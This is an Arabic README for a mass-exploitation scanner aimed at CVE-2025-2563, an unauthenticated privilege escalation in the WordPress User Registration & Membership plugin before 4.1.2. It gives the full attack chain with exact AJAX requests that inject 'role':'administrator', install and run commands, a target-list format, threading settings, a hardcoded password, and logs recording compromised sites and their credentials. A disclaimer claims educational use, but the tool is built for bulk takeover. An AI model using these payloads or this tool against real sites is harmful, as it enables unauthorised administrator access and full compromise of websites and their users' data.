
إضافة ووردبريس User Registration & Membership قبل الإصدار 4.1.2 لا تمنع المستخدمين من تعيين دور حساباتهم عند تفعيل الوظيفة الإضافية Membership Addon، مما يؤدي إلى حدوث تصعيد في الصلاحيات ويتيح للمستخدمين غير المصادَق عليهم الحصول على صلاحيات المسؤول.
المكوّن الإضافي User Registration & Membership في ووردبريس قبل الإصدار 4.1.2 لا يمنع المستخدمين من تعيين دور حساباتهم عند تفعيل إضافة العضوية (Membership Addon)، مما يؤدي إلى ثغرة تصعيد صلاحيات وتتيح للمستخدمين غير المصادَق عليهم الحصول على صلاحيات المدير (Admin).
الوصف:
المكوّن الإضافي User Registration & Membership لووردبريس في الإصدارات قبل 4.1.2 يفشل في فرض قيود الأدوار من جانب الخادم عند تفعيل Membership Addon. أثناء عملية تسجيل العضوية، يقبل المكوّن حقل role المقدَّم من المستخدم داخل إجراء AJAX user_registration_membership_register_member دون التحقق منه مقابل قائمة مسموحة من جانب الخادم. يمكن لمهاجم بعيد غير مصادَق تمامًا إرسال سلسلة AJAX من خطوتين مصممة بعناية — أولًا تسجيل حساب مستخدم جديد عبر user_registration_user_form_submit، ثم حقن "role": "administrator" في حمولة members_data الخاصة باستدعاء العضوية — لإنشاء حساب Administrator بكامل الصلاحيات في ووردبريس بصمت. يؤدي هذا إلى اختراق كامل للموقع دون الحاجة إلى أي مصادقة أو تفاعل من المستخدم.
هذه أداة ماسح استغلال جماعي (Proof-of-Concept — PoC) تستهدف تثبيتات ووردبريس التي تشغّل إصدارًا قابلًا للاستغلال من المكوّن الإضافي User Registration & Membership مع تفعيل Membership Addon. تنفّذ الأداة استغلالًا ذكيًا متعدد المراحل يتضمن الاكتشاف التلقائي، وجمع الـ nonces، والتسجيل القائم على التركيبات، وحقن الدور، والتحقق من صلاحيات المدير.
[Phase 1 — Discovery]
GET /membership-pricing/ → Extract membership_id, pricing links
GET /membership-registration/ → Extract form_id, nonces, security tokens
GET /registration/ → Fallback registration page
↓
[Phase 2 — Nonce Extraction]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registration (Combo Attack)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Try all valid combos until success=true
↓
[Phase 4 — Role Injection (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Server assigns administrator role to newly created user
↓
[Phase 5 — Admin Verification]
POST /wp-login.php → Login with new credentials
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
أو عبر ملف المتطلبات:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
تستخدم الأداة واجهة طرفية تفاعلية بالكامل مدعومة بمكتبة Rich.
أنشئ ملفًا نصيًا عاديًا (الافتراضي: list.txt) — هدف واحد في كل سطر:
https://target1.com
https://target2.com
http://target3.com
target4.com
الأهداف التي لا تحتوي على
http://أوhttps://تُسبَق تلقائيًا بـhttps://.
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
كلمة المرور مثبتة داخليًا كـ
Nx_adminSAلجميع محاولات التسجيل.
تفحص الأداة ثلاث صفحات تلقائيًا لكل هدف:
| الصفحة | الغرض |
|---|
تُستخرج الرموز التالية من HTML الخام وجافاسكربت المضمّن:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
تتنقل الأداة تلقائيًا عبر جميع التركيبات المكتشفة من security وfrontend_nonce وform_id وmembership_id حتى تتلقى استجابة success: true.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ يقبل الخادم حقل
roleدون أي قائمة مسموحة — وهذا هو السبب الجذري لثغرة CVE-2025-2563.
| الملف | الوصف |
|---|---|
reg.txt | جميع محاولات التسجيل الناجحة مع بيانات الاعتماد |
Nx_admin.txt | جميع تصعيدات صلاحيات المسؤول المؤكدة |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCANNING] https://target.com
[EXPLOITING] https://target.com | nonce + reg OK
[EXPLOITED] https://target.com | password: Nx_adminSA
┌──────────────────────────────────────────────────────────────────────────┐
│ Target │ Status │ Password / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ COMPROMISED (exploited) │ password: Nx_adminSA│
│ https://target2.com │ VULNERABLE (nonce exposed) │ │
│ https://target3.com │ DEAD (connection error) │ │
└──────────────────────────────────────────────────────────────────────────┘
Registration log: reg.txt
Exploit (admin) log: Nx_admin.txt
إعداد: Nxploited (Khaled Alenazi)
هذه الأداة مقدَّمة لأغراض تعليمية وبحث أمني مصرح به فقط.
المؤلف، Nxploited (Khaled Alenazi)، وجميع المساهمين في هذا المشروع لا يقرّون، ولا يدعمون، ولا يتحملون أي مسؤولية عن إساءة استخدام هذه الأداة أو أي ضرر ناتج عن استخدام هذا البرنامج ضد أنظمة لا تملك إذنًا كتابيًا صريحًا لاختبارها.
- ✅ مسموح: الاستخدام على الأنظمة التي تملكها أو التي حصلت على إذن كتابي صريح لاختبارها.
- ❌ محظور: الاستخدام ضد أي أنظمة دون إذن كتابي صريح مسبق من مالك النظام.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني ويُعاقَب عليه بموجب القوانين المعمول بها بما في ذلك على سبيل المثال لا الحصر قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA)، وقانون إساءة استخدام الكمبيوتر (CMA)، والتشريعات المكافئة حول العالم.
باستخدامك لهذه الأداة، فإنك تتحمل المسؤولية الكاملة والحصرية عن أفعالك وتؤكد أن لديك السلطة القانونية لاختبار الأنظمة المستهدفة.
لا يتحمل المؤلف أي مسؤولية مهما كانت عن أي أضرار مباشرة أو غير مباشرة أو عرضية أو تبعية تنشأ عن استخدام هذا البرنامج أو إساءة استخدامه.
© 2025 Nxploited (Khaled Alenazi) — لأغراض البحث الأمني المصرح به فقط.
| الحقل | التفاصيل |
|---|
| CVE ID | CVE-2025-2563 |
| مستوى الخطورة | عالية (HIGH) — درجة CVSS v3.1: 8.1 |
| ناقل الهجوم | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| البرنامج المتأثر | المكوّن الإضافي User Registration & Membership لووردبريس |
| الإصدارات المتأثرة | جميع الإصدارات قبل 4.1.2 |
| نوع الثغرة | إدارة صلاحيات غير سليمة — إنشاء حساب مسؤول دون مصادقة |
| المصادقة المطلوبة | لا شيء |
| CWE | CWE-269: إدارة صلاحيات غير سليمة |
/membership-pricing/ | استخراج membership_id وروابط التسجيل |
/membership-registration/ | استخراج رموز النماذج والـ nonces ومعرفات الحقول |
/membership-registration/?membership_id=<id> | استخراج نموذج خاص بالخطة |
/registration/ | صفحة تسجيل عامة احتياطية |
| الرمز | المصدر |
|---|
_nonce | كائن جافاسكربت ur_membership_frontend_localized_data |
ur_frontend_form_nonce | حقل إدخال مخفي أو كائن جافاسكربت |
security | user_registration_params.user_registration_form_data_save |
form_id | حقل إدخال مخفي ur-user-form-id أو كائن جافاسكربت |
membership_id | حقل إدخال راديو urm_membership أو سلسلة استعلام في الرابط |
| الحالة | اللون | المعنى |
|---|
COMPROMISED (exploited) | 🟢 أخضر | نجاح السلسلة الكاملة — تم التحقق من تسجيل دخول المسؤول |
COMPROMISED (exploit ok, admin not verified) | 🟡 أصفر | نجح حقن الدور لكن فحص لوحة المسؤول غير حاسم |
VULNERABLE (nonce exposed, registration failed) | 🟡 أصفر | تم العثور على nonce العضوية لكن AJAX التسجيل فشل |
VULNERABLE (nonce exposed, exploit pending) | 🟡 أصفر | تم العثور على الـ nonce لكن لم يكتمل الاستغلال |
EXPLOITING | 🟡 أصفر | استغلال نشط قيد التنفيذ |
REGISTERED (no membership nonce) | 🟡 أصفر | نجح التسجيل لكن تعذّر استخراج الـ nonce |
NO REG (all attempts failed) | ⚫ داكن | استُنفدت جميع تركيبات security/nonce/form_id |
NO REG (max attempts reached) | ⚫ داكن | تم الوصول إلى الحد الأقصى للمحاولات المكوّن |
DEAD (no membership/registration pages) | ⚫ داكن | لم يتم اكتشاف المكوّن الإضافي على الهدف |
EXPLOIT FAILED (request error) | 🔴 أحمر | خطأ في الشبكة أثناء استدعاء حقن الدور |
EXPLOIT FAILED (success=false) | 🔴 أحمر | أعاد الخادم success: false عند حقن الدور |
TIMEOUT | ⚫ داكن | انتهت مهلة HTTP |
DEAD (connection error) | ⚫ داكن | تم رفض الاتصال / لا يمكن الوصول |
ERROR | 🔴 أحمر | استثناء غير متوقع |